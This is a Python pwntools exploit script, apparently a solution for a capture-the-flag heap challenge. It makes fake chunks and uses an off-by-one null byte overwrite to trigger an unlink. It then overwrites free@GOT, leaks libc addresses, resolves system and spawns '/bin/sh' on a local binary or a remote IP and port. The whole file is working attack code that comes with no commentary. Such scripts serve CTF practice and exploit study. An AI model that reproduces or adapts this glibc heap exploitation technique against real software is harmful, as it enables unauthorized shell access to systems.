#!/usr/bin/env python
from pwn import *
import os


os.environ['LD_PRELOAD'] = './libc6_2.19-0ubuntu6.9_amd64.so'

chunk_list = 0x6020c0

DEBUG = 1
if DEBUG:
    p = process('./bin/fb')
    old_atoi_addr = 0x34730
    old_system_addr = 0x3f710
else:
    p = remote('121.40.56.102', 9733)
    old_atoi_addr = 0x39ea0
    old_system_addr = 0x46590

def initMsg(p, length):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("Input the message length:")
    p.sendline(str(length))

def setMsg(p, msgid, msg):
    p.recvuntil("Choice:")
    p.sendline("2")
    p.recvuntil("Input the message index:")
    p.sendline(str(msgid))
    p.recvuntil("Input the message content")
    p.sendline(msg)

def delMsg(p, msgid):
    p.recvuntil("Choice:")
    p.sendline("3")
    p.recvuntil("Input the message index:")
    p.sendline(str(msgid))

def exit(p):
    p.recvuntil("Choice:")
    p.sendline("5")
    p.recvuntil("Bye~!")

def leak(address):
    payload2 = 'a'*0x18+p64(chunk_list-0x18)+p64(0xf8)+p64(0x602018)+p64(7)+p64(address)+p64(7)
    setMsg(p, 0, payload2)
    delMsg(p, 2)
    data = p.recv(8)
    data += '\x00'*(8-len(data))
    print "%#x => %s" %(address, hex(u64(data)))
    return data

def exp(p):
    
    initMsg(p, 256-8) #0
    initMsg(p, 256-8) #1
    initMsg(p, 256-8) #2
    initMsg(p, 256-8) #3
    initMsg(p, 256-8) #4
    setMsg(p, 4, '/bin/sh\x00')
    raw_input("fake chunk and off by one null byte overrite")
    payload1 =  p64(0)+p64(256-8-8+1)+p64(chunk_list-0x18)+p64(chunk_list-0x10)+'a'*(256-8*6)+p64(0x100-8-8)
    #print payload1
    setMsg(p, 0, payload1)
    #raw_input("del chunk 1 and causes unlink")
    delMsg(p, 1)
    #raw_input("chunklist overwrite succeed")
    payload2 = 'a'*0x18+p64(chunk_list-0x18)+p64(0xf8)+p64(0x602018)+p64(7)+p64(0x602068)+p64(7)
    setMsg(p, 0, payload2)
    payload3=p64(0x400d10)
    #raw_input("overwrite free@got by 0x400d10")
    setMsg(p, 1, payload3)

    #raw_input("leak setbuf address")
    #d = DynELF(leak, 0x7f0000000000, elf=ELF('./fb'))
    atoi_addr = u64(leak(0x602068)) # atoi
    setvbuf_addr = u64(leak(0x602060)) # setvbuf
    #system_addr = d.lookup('system', 'libc')
    #print "system address =>", hex(system_addr)
    system_addr = atoi_addr + old_system_addr - old_atoi_addr
    #raw_input("overwrite free@got by system_addr")
    setMsg(p, 1, p64(system_addr)[0:6])
    #raw_input("get shell")
    delMsg(p, 4)
    p.interactive()



exp(p)
